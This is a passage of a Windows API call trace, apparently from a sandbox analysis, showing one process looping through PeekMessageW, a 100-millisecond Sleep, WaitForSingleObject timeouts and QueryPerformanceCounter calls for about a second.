[0139.517] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0139.517] Sleep (dwMilliseconds=0x64) [0139.532] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0139.532] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=740402794) returned 1 [0139.533] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=740402960) returned 1 [0139.533] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0139.534] Sleep (dwMilliseconds=0x64) [0139.547] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0139.548] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=740454124) returned 1 [0139.548] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=740454308) returned 1 [0139.548] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0139.549] Sleep (dwMilliseconds=0x64) [0139.563] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0139.563] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=740508145) returned 1 [0139.563] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=740508328) returned 1 [0139.571] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0139.572] Sleep (dwMilliseconds=0x64) [0139.579] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0139.579] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=740560648) returned 1 [0139.579] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=740560815) returned 1 [0139.579] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0139.580] Sleep (dwMilliseconds=0x64) [0139.594] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0139.594] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=740613846) returned 1 [0139.594] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=740614060) returned 1 [0139.595] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0139.595] Sleep (dwMilliseconds=0x64) [0139.623] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0139.623] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=740710862) returned 1 [0139.623] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=740711036) returned 1 [0139.624] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0139.624] Sleep (dwMilliseconds=0x64) [0139.626] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0139.626] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=740722839) returned 1 [0139.626] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=740722986) returned 1 [0139.627] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0139.627] Sleep (dwMilliseconds=0x64) [0139.642] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0139.642] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=740775715) returned 1 [0139.642] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=740775860) returned 1 [0139.642] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0139.643] Sleep (dwMilliseconds=0x64) [0139.657] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0139.657] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=740827040) returned 1 [0139.657] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=740827187) returned 1 [0139.657] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0139.658] Sleep (dwMilliseconds=0x64) [0139.672] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0139.672] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=740881225) returned 1 [0139.673] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=740881370) returned 1 [0139.673] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0139.673] Sleep (dwMilliseconds=0x64) [0139.692] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0139.693] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=740949728) returned 1 [0139.693] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=740949885) returned 1 [0139.693] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0139.694] Sleep (dwMilliseconds=0x64) [0139.704] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0139.704] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=740989557) returned 1 [0139.704] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=740989724) returned 1 [0139.705] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0139.705] Sleep (dwMilliseconds=0x64) [0139.719] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0139.719] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=741041811) returned 1 [0139.720] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=741041987) returned 1 [0139.720] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0139.721] Sleep (dwMilliseconds=0x64) [0139.735] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0139.735] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=741096613) returned 1 [0139.736] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=741096786) returned 1 [0139.736] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0139.737] Sleep (dwMilliseconds=0x64) [0139.751] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0139.751] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=741149481) returned 1 [0139.751] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=741149646) returned 1 [0139.752] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0139.752] Sleep (dwMilliseconds=0x64) [0139.766] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0139.766] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=741200684) returned 1 [0139.766] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=741200855) returned 1 [0139.767] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0139.767] Sleep (dwMilliseconds=0x64) [0139.781] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0139.782] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=741253934) returned 1 [0139.782] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=741254113) returned 1 [0139.782] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0139.783] Sleep (dwMilliseconds=0x64) [0139.797] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0139.797] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=741307153) returned 1 [0139.797] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=741307341) returned 1 [0139.798] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0139.798] Sleep (dwMilliseconds=0x64) [0139.813] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0139.813] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=741360743) returned 1 [0139.813] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=741360927) returned 1 [0139.813] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0139.814] Sleep (dwMilliseconds=0x64) [0139.828] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0139.828] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=741413832) returned 1 [0139.828] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=741414013) returned 1 [0139.829] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0139.829] Sleep (dwMilliseconds=0x64) [0139.844] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0139.844] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=741467212) returned 1 [0139.844] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=741467394) returned 1 [0139.845] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0139.845] Sleep (dwMilliseconds=0x64) [0139.860] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0139.860] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=741522681) returned 1 [0139.860] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=741522865) returned 1 [0139.861] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0139.861] Sleep (dwMilliseconds=0x64) [0139.877] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0139.877] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=741579000) returned 1 [0139.877] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=741579176) returned 1 [0139.877] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0139.878] Sleep (dwMilliseconds=0x64) [0139.891] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0139.891] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=741627090) returned 1 [0139.891] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=741627273) returned 1 [0139.891] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0139.892] Sleep (dwMilliseconds=0x64) [0139.906] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0139.906] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=741680371) returned 1 [0139.906] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=741680549) returned 1 [0139.907] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0139.907] Sleep (dwMilliseconds=0x64) [0139.922] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0139.922] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=741733887) returned 1 [0139.922] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=741734054) returned 1 [0139.923] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0139.923] Sleep (dwMilliseconds=0x64) [0139.939] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0139.939] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=741792393) returned 1 [0139.939] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=741792590) returned 1 [0139.940] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0139.940] Sleep (dwMilliseconds=0x64) [0139.953] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0139.953] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=741840395) returned 1 [0139.953] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=741840565) returned 1 [0139.954] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0139.954] Sleep (dwMilliseconds=0x64) [0139.969] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0139.969] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=741895661) returned 1 [0139.969] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=741895826) returned 1 [0139.970] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0139.970] Sleep (dwMilliseconds=0x64) [0139.984] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0139.984] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=741946964) returned 1 [0139.984] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=741947132) returned 1 [0139.985] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0139.985] Sleep (dwMilliseconds=0x64) [0140.000] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0140.000] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=742000592) returned 1 [0140.000] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=742000761) returned 1 [0140.001] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0140.001] Sleep (dwMilliseconds=0x64) [0140.016] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0140.016] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=742054300) returned 1 [0140.016] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=742054479) returned 1 [0140.016] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0140.017] Sleep (dwMilliseconds=0x64) [0140.089] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0140.089] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=742304654) returned 1 [0140.089] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=742304806) returned 1 [0140.089] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0140.090] Sleep (dwMilliseconds=0x64) [0140.093] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0140.094] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=742320280) returned 1 [0140.094] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=742320418) returned 1 [0140.094] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0140.094] Sleep (dwMilliseconds=0x64) [0140.109] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0140.109] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=742373659) returned 1 [0140.109] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=742373851) returned 1 [0140.110] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0140.110] Sleep (dwMilliseconds=0x64) [0140.125] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0140.125] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=742427342) returned 1 [0140.125] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=742427482) returned 1 [0140.125] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0140.126] Sleep (dwMilliseconds=0x64) [0140.140] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0140.140] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=742479943) returned 1 [0140.140] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=742480082) returned 1 [0140.141] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0140.141] Sleep (dwMilliseconds=0x64) [0140.156] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0140.156] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=742533619) returned 1 [0140.156] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=742533836) returned 1 [0140.156] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0140.157] Sleep (dwMilliseconds=0x64) [0140.172] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0140.172] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=742589168) returned 1 [0140.172] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=742589366) returned 1 [0140.173] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0140.173] Sleep (dwMilliseconds=0x64) [0140.187] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0140.187] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=742641265) returned 1 [0140.187] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=742641461) returned 1 [0140.188] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0140.189] Sleep (dwMilliseconds=0x64) [0140.203] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0140.203] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=742693554) returned 1 [0140.203] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=742693751) returned 1 [0140.203] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0140.204] Sleep (dwMilliseconds=0x64) [0140.219] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0140.219] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=742750160) returned 1 [0140.219] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=742750345) returned 1 [0140.220] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0140.220] Sleep (dwMilliseconds=0x64) [0140.234] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0140.234] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=742800148) returned 1 [0140.234] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=742800318) returned 1 [0140.234] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0140.235] Sleep (dwMilliseconds=0x64) [0140.250] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0140.250] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=742853881) returned 1 [0140.250] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=742854049) returned 1 [0140.250] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0140.251] Sleep (dwMilliseconds=0x64) [0140.265] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0140.265] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=742906686) returned 1 [0140.265] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=742906856) returned 1 [0140.266] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0140.266] Sleep (dwMilliseconds=0x64) [0140.281] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0140.281] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=742961991) returned 1 [0140.281] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=742962158) returned 1 [0140.282] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0140.282] Sleep (dwMilliseconds=0x64) [0140.296] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0140.296] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=743013538) returned 1 [0140.296] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=743013707) returned 1 [0140.297] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0140.297] Sleep (dwMilliseconds=0x64) [0140.312] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0140.312] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=743067072) returned 1 [0140.312] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=743067269) returned 1 [0140.313] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0140.313] Sleep (dwMilliseconds=0x64) [0140.327] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0140.327] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=743120043) returned 1 [0140.328] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=743120212) returned 1 [0140.328] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0140.329] Sleep (dwMilliseconds=0x64) [0140.343] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0140.343] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=743173454) returned 1 [0140.343] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=743173651) returned 1 